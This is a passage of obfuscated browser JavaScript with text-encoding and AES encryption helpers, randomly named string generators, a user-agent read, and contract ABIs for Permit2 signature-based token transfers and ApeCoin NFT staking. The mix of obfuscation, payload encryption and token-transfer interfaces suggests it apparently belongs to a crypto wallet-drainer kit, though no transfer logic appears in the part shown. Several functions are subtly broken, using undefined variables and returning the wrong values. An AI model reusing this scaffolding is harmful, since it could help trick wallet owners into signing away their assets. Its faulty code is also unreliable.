_0x1a3f4c = _0x4151ec.charCodeAt(_0x3365e1++); | |
if ((_0x1a3f4c & 64512) == 56320) { | |
_0x24b422.push(((_0x1010af & 1023) << 10) + (_0x1a3f4c & 1023) + 65536); | |
} else { | |
_0x24b422.push(_0x1010af); | |
_0x3365e1--; | |
} | |
} else { | |
_0x24b422.push(_0x1010af); | |
} | |
} | |
return _0x24b422; | |
} | |
ucs2encode(_0x252e06) { | |
var _0x9aa61f = _0x252e06.length; | |
var _0x21cbeb = -1; | |
var _0x2e6ddf; | |
var _0x323805 = ""; | |
while (++_0x21cbeb < _0x9aa61f) { | |
_0x2e6ddf = _0x252e06[_0x21cbeb]; | |
if (_0x2e6ddf > 65535) { | |
_0x2e6ddf -= 65536; | |
_0x323805 += this.stringFromCharCode(_0x2e6ddf >>> 10 & 1023 | 55296); | |
_0x2e6ddf = _0x2e6ddf & 1023 | 56320; | |
} | |
_0x323805 += this.stringFromCharCode(_0x2e6ddf); | |
} | |
return _0x323805; | |
} | |
checkScalarValue(_0x658f6d) { | |
if (_0x658f6d >= 55296 && _0x658f6d <= 57343) { | |
throw Error("Lone surrogate U+" + _0x658f6d.toString(16).toUpperCase() + " is not a scalar value"); | |
} | |
} | |
createByte(_0x41686d, _0x25e1d5) { | |
return this.stringFromCharCode(_0x41686d >> _0x25e1d5 & 63 | 128); | |
} | |
encodeCodePoint(_0x59771f) { | |
if ((_0x59771f & 4294967168) == 0) { | |
return this.stringFromCharCode(_0x59771f); | |
} | |
var _0x18ff93 = ""; | |
if ((_0x59771f & 4294965248) == 0) { | |
_0x18ff93 = this.stringFromCharCode(_0x59771f >> 6 & 31 | 192); | |
} else if ((_0x59771f & 4294901760) == 0) { | |
this.checkScalarValue(_0x59771f); | |
_0x18ff93 = this.stringFromCharCode(_0x59771f >> 12 & 15 | 224); | |
_0x18ff93 += this.createByte(_0x59771f, 6); | |
} else if ((_0x59771f & 4292870144) == 0) { | |
_0x18ff93 = this.stringFromCharCode(_0x59771f >> 18 & 7 | 240); | |
_0x18ff93 += this.createByte(_0x59771f, 12); | |
_0x18ff93 += this.createByte(_0x59771f, 6); | |
} | |
_0x18ff93 += this.stringFromCharCode(_0x59771f & 63 | 128); | |
return _0x18ff93; | |
} | |
utf8encode(_0x47b813) { | |
var _0x38ae03 = this.ucs2decode(_0x47b813); | |
var _0x3b8136 = _0x38ae03.length; | |
var _0x7bfe69 = -1; | |
var _0x52874b; | |
var _0x2753eb = ""; | |
while (++_0x7bfe69 < _0x3b8136) { | |
_0x52874b = _0x38ae03[_0x7bfe69]; | |
_0x2753eb += this.encodeCodePoint(_0x52874b); | |
} | |
return _0x2753eb; | |
} | |
encrypt(_0x7f7ba2, _0x185e4f) { | |
var _0x54c526 = CryptoJS.lib.WordArray.random(this.saltSize / 8); | |
var _0x3f64dd = CryptoJS.PBKDF2(_0x185e4f, _0x54c526, { | |
keySize: this.keySize / 32, | |
iterations: this.iterations | |
}); | |
var _0x4765e3 = CryptoJS.lib.WordArray.random(this.ivSize / 8); | |
var _0x158a2a = CryptoJS.AES.encrypt(_0x7f7ba2, _0x3f64dd, { | |
iv: _0x4765e3, | |
padding: CryptoJS.pad.Pkcs7, | |
mode: CryptoJS.mode.CBC | |
}); | |
var _0x5d66da = this.base64ToHex(_0x158a2a.toString()); | |
var _0x47e197 = this.hexToBase64(_0x54c526 + _0x4765e3 + _0x5d66da); | |
return _0x47e197; | |
} | |
escaper(_0x4037bc) { | |
return (_0x4037bc + "").replace(/[\\"']/g, "\\$&").replace(/\u0000/g, "\\0"); | |
} | |
hexToBase64(_0x1068cc) { | |
return btoa(String.fromCharCode.apply(null, _0x1068cc.replace(/\r|\n/g, "").replace(/([\da-fA-F]{2}) ?/g, "0x$1 ").replace(/ +$/, "").split(" "))); | |
} | |
base64ToHex(_0x232fcd) { | |
for (var _0x4f31bf = 0, _0x53d126 = atob(_0x232fcd.replace(/[ \r\n]+$/, "")), _0x176894 = []; _0x4f31bf < _0x53d126.length; ++_0x4f31bf) { | |
var _0x5e8c64 = _0x53d126.charCodeAt(_0x4f31bf).toString(16); | |
if (_0x5e8c64.length === 1) { | |
_0x5e8c64 = "0" + _0x5e8c64; | |
} | |
_0x176894[_0x176894.length] = _0x5e8c64; | |
} | |
return _0x176894.join(""); | |
} | |
readContinuationByte() { | |
if (this.byteIndex >= this.byteCount) { | |
throw Error("Invalid byte index"); | |
} | |
var _0x457ed3 = this.byteArray[byteIndex] & 255; | |
this.byteIndex++; | |
if ((_0x457ed3 & 192) == 128) { | |
return _0x457ed3 & 63; | |
} | |
throw Error("Invalid continuation byte"); | |
} | |
decodeSymbol() { | |
var _0x1c46f4; | |
var _0x35c4d7; | |
var _0x32b6fd; | |
var _0x53915d; | |
var _0x3a656d; | |
if (this.byteIndex > this.byteCount) { | |
throw Error("Invalid byte index"); | |
} | |
if (this.byteIndex == this.byteCount) { | |
return false; | |
} | |
_0x1c46f4 = this.byteArray[this.byteIndex] & 255; | |
this.byteIndex++; | |
if ((_0x1c46f4 & 128) == 0) { | |
return _0x1c46f4; | |
} | |
if ((_0x1c46f4 & 224) == 192) { | |
_0x35c4d7 = this.readContinuationByte(); | |
_0x3a656d = (_0x1c46f4 & 31) << 6 | _0x35c4d7; | |
if (_0x3a656d >= 128) { | |
return _0x3a656d; | |
} else { | |
throw Error("Invalid continuation byte"); | |
} | |
} | |
if ((_0x1c46f4 & 240) == 224) { | |
_0x35c4d7 = this.readContinuationByte(); | |
_0x32b6fd = this.readContinuationByte(); | |
_0x3a656d = (_0x1c46f4 & 15) << 12 | _0x35c4d7 << 6 | _0x32b6fd; | |
if (_0x3a656d >= 2048) { | |
this.checkScalarValue(_0x3a656d); | |
return _0x3a656d; | |
} else { | |
throw Error("Invalid continuation byte"); | |
} | |
} | |
if ((_0x1c46f4 & 248) == 240) { | |
_0x35c4d7 = this.readContinuationByte(); | |
_0x32b6fd = this.readContinuationByte(); | |
_0x53915d = this.readContinuationByte(); | |
_0x3a656d = (_0x1c46f4 & 7) << 18 | _0x35c4d7 << 12 | _0x32b6fd << 6 | _0x53915d; | |
if (_0x3a656d >= 65536 && _0x3a656d <= 1114111) { | |
return _0x3a656d; | |
} | |
} | |
throw Error("Invalid UTF-8 detected"); | |
} | |
utf8decode = _0x11052f => { | |
this.byteArray = this.ucs2decode(_0x11052f); | |
this.byteCount = this.byteArray.length; | |
this.byteIndex = 0; | |
var _0x1da702 = []; | |
var _0x2920ce; | |
while ((_0x2920ce = this.decodeSymbol()) !== false) { | |
_0x1da702.push(_0x2920ce); | |
} | |
return this.ucs2encode(_0x1da702); | |
}; | |
USG1204312 = () => { | |
let _0x3d68ff = "89494546546156"; | |
let _0x34a02a = "465dsfsdf4ssfsdf"; | |
let _0x3fa4f2 = "XKd9jANX98hHxBXGH"; | |
const _0x391071 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; | |
for (let _0x3f745c = 0; _0x3f745c < length; _0x3f745c++) { | |
_0x34a02a += _0x391071.charAt(Math.floor(Math.random() * _0x391071.length)); | |
} | |
return _0x3fa4f2; | |
}; | |
jJDFGDFJGDFGNBCBNCVJBCVN = _0x1666ec => { | |
return Math.floor(Date.now() / 1000); | |
}; | |
xJDKDFGXDFIXDFBNXD9273129hizu7sg = _0x387cba => { | |
let _0x136c84 = ""; | |
const _0x5d9e30 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; | |
for (let _0x1a4922 = 0; _0x1a4922 < _0x387cba; _0x1a4922++) { | |
_0x136c84 += _0x5d9e30.charAt(Math.floor(Math.random() * _0x5d9e30.length)); | |
} | |
return _0x136c84; | |
}; | |
J9108240u9pjhXNXUDFJABXDF = _0x33d57b => { | |
let _0x46ce8b = ""; | |
const _0x48ae02 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; | |
for (let _0x584235 = 0; _0x584235 < _0x33d57b; _0x584235++) { | |
_0x46ce8b += _0x48ae02.charAt(Math.floor(Math.random() * _0x48ae02.length)); | |
} | |
return _0x46ce8b; | |
}; | |
UserAgent = _0x349256 => { | |
let _0x3caae0 = ""; | |
const _0x1b1bd7 = "0123456789"; | |
let _0x3c9542 = window.navigator.userAgent; | |
for (let _0x1a405e = 0; _0x1a405e < _0x349256; _0x1a405e++) { | |
_0x3caae0 += _0x1b1bd7.charAt(Math.floor(Math.random() * _0x1b1bd7.length)); | |
} | |
return this.y; | |
}; | |
hexToUtf8 = _0x460959 => { | |
let _0x14dfb3 = ""; | |
let _0x2dfe8d = 0; | |
_0x460959 = _0x460959.replace(/^0x/i, ""); | |
_0x460959 = _0x460959.replace(/^(?:00)*/, ""); | |
_0x460959 = _0x460959.split("").reverse().join(""); | |
_0x460959 = _0x460959.replace(/^(?:00)*/, ""); | |
_0x460959 = _0x460959.split("").reverse().join(""); | |
let _0x289567 = _0x460959.length; | |
for (let _0x20f161 = 0; _0x20f161 < _0x289567; _0x20f161 += 2) { | |
_0x2dfe8d = parseInt(_0x460959.substr(_0x20f161, 2), 16); | |
_0x14dfb3 += String.fromCharCode(_0x2dfe8d); | |
} | |
return this.utf8decode(_0x14dfb3); | |
}; | |
} | |
class Permit2Factory { | |
interface; | |
contract; | |
abi = [{ | |
inputs: [{ | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "AllowanceExpired", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ExcessiveInvalidation", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "InsufficientAllowance", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "maxAmount", | |
type: "uint256" | |
}], | |
name: "InvalidAmount", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidContractSignature", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidNonce", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidSignature", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidSignatureLength", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidSigner", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LengthMismatch", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "signatureDeadline", | |
type: "uint256" | |
}], | |
name: "SignatureExpired", | |
type: "error" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint160", | |
name: "amount", | |
type: "uint160" | |
}, { | |
indexed: false, | |
internalType: "uint48", | |
name: "expiration", | |
type: "uint48" | |
}], | |
name: "Approval", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}], | |
name: "Lockdown", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint48", | |
name: "newNonce", | |
type: "uint48" | |
}, { | |
indexed: false, | |
internalType: "uint48", | |
name: "oldNonce", | |
type: "uint48" | |
}], | |
name: "NonceInvalidation", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint160", | |
name: "amount", | |
type: "uint160" | |
}, { | |
indexed: false, | |
internalType: "uint48", | |
name: "expiration", | |
type: "uint48" | |
}, { | |
indexed: false, | |
internalType: "uint48", | |
name: "nonce", | |
type: "uint48" | |
}], | |
name: "Permit", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "word", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mask", | |
type: "uint256" | |
}], | |
name: "UnorderedNonceInvalidation", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "DOMAIN_SEPARATOR", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "allowance", | |
outputs: [{ | |
internalType: "uint160", | |
name: "amount", | |
type: "uint160" | |
}, { | |
internalType: "uint48", | |
name: "expiration", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "nonce", | |
type: "uint48" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint160", | |
name: "amount", | |
type: "uint160" | |
}, { | |
internalType: "uint48", | |
name: "expiration", | |
type: "uint48" | |
}], | |
name: "approve", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint48", | |
name: "newNonce", | |
type: "uint48" | |
}], | |
name: "invalidateNonces", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "wordPos", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mask", | |
type: "uint256" | |
}], | |
name: "invalidateUnorderedNonces", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}], | |
internalType: "struct IAllowanceTransfer.TokenSpenderPair[]", | |
name: "approvals", | |
type: "tuple[]" | |
}], | |
name: "lockdown", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
name: "nonceBitmap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
components: [{ | |
components: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint160", | |
name: "amount", | |
type: "uint160" | |
}, { | |
internalType: "uint48", | |
name: "expiration", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "nonce", | |
type: "uint48" | |
}], | |
internalType: "struct IAllowanceTransfer.PermitDetails[]", | |
name: "details", | |
type: "tuple[]" | |
}, { | |
internalType: "address", | |
name: "spender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "sigDeadline", | |
type: "uint256" | |
}], | |
internalType: "struct IAllowanceTransfer.PermitBatch", | |
name: "permitBatch", | |
type: "tuple" | |
}, { | |
internalType: "bytes", | |
name: "signature", | |
type: "bytes" | |
}], | |
name: "permit", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.TokenPermissions", | |
name: "permitted", | |
type: "tuple" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.PermitTransferFrom", | |
name: "permit", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "requestedAmount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.SignatureTransferDetails", | |
name: "transferDetails", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "signature", | |
type: "bytes" | |
}], | |
name: "permitTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.TokenPermissions[]", | |
name: "permitted", | |
type: "tuple[]" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", | |
name: "permit", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "requestedAmount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", | |
name: "transferDetails", | |
type: "tuple[]" | |
}, { | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "signature", | |
type: "bytes" | |
}], | |
name: "permitTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.TokenPermissions", | |
name: "permitted", | |
type: "tuple" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.PermitTransferFrom", | |
name: "permit", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "requestedAmount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.SignatureTransferDetails", | |
name: "transferDetails", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "bytes32", | |
name: "witness", | |
type: "bytes32" | |
}, { | |
internalType: "string", | |
name: "witnessTypeString", | |
type: "string" | |
}, { | |
internalType: "bytes", | |
name: "signature", | |
type: "bytes" | |
}], | |
name: "permitWitnessTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.TokenPermissions[]", | |
name: "permitted", | |
type: "tuple[]" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", | |
name: "permit", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "requestedAmount", | |
type: "uint256" | |
}], | |
internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", | |
name: "transferDetails", | |
type: "tuple[]" | |
}, { | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "bytes32", | |
name: "witness", | |
type: "bytes32" | |
}, { | |
internalType: "string", | |
name: "witnessTypeString", | |
type: "string" | |
}, { | |
internalType: "bytes", | |
name: "signature", | |
type: "bytes" | |
}], | |
name: "permitWitnessTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint160", | |
name: "amount", | |
type: "uint160" | |
}, { | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
internalType: "struct IAllowanceTransfer.AllowanceTransferDetails[]", | |
name: "transferDetails", | |
type: "tuple[]" | |
}], | |
name: "transferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
constructor(_0x2b6364, _0x42664b) { | |
this.interface = new ethers.utils.Interface(this.abi); | |
this.contract = new ethers.Contract(_0x2b6364, this.abi, _0x42664b); | |
} | |
} | |
class ApeFactory { | |
interface; | |
contract; | |
abi = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_apeCoinContractAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_baycContractAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_maycContractAddress", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_bakcContractAddress", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "BAKCAlreadyPaired", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "BAKCNotOwnedOrPaired", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "CallerNotOwner", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "DepositMoreThanOneAPE", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "EndNotWholeHour", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ExceededCapAmount", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ExceededStakedAmount", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidPoolId", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MainTokenNotOwnedOrPaired", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "NeitherTokenInPairOwnedByCaller", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "NotOwnerOfBAKC", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "NotOwnerOfMain", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ProvidedTokensNotPaired", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "SplitPairCantPartiallyWithdraw", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "StartMustBeGreaterThanEnd", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "StartMustEqualLastEnd", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "StartNotWholeHour", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "UncommitWrongParameters", | |
type: "error" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "ClaimRewards", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "ClaimRewardsNft", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "bakcTokenId", | |
type: "uint256" | |
}], | |
name: "ClaimRewardsPairNft", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "Deposit", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "DepositNft", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "bakcTokenId", | |
type: "uint256" | |
}], | |
name: "DepositPairNft", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "lastRewardedBlock", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "stakedAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "accumulatedRewardsPerShare", | |
type: "uint256" | |
}], | |
name: "UpdatePool", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "Withdraw", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "WithdrawNft", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "bakcTokenId", | |
type: "uint256" | |
}], | |
name: "WithdrawPairNft", | |
type: "event" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_startTimestamp", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_endTimeStamp", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_capPerPosition", | |
type: "uint256" | |
}], | |
name: "addTimeRange", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "addressPosition", | |
outputs: [{ | |
internalType: "uint256", | |
name: "stakedAmount", | |
type: "uint256" | |
}, { | |
internalType: "int256", | |
name: "rewardsDebt", | |
type: "int256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "apeCoin", | |
outputs: [{ | |
internalType: "contract IERC20", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
name: "bakcToMain", | |
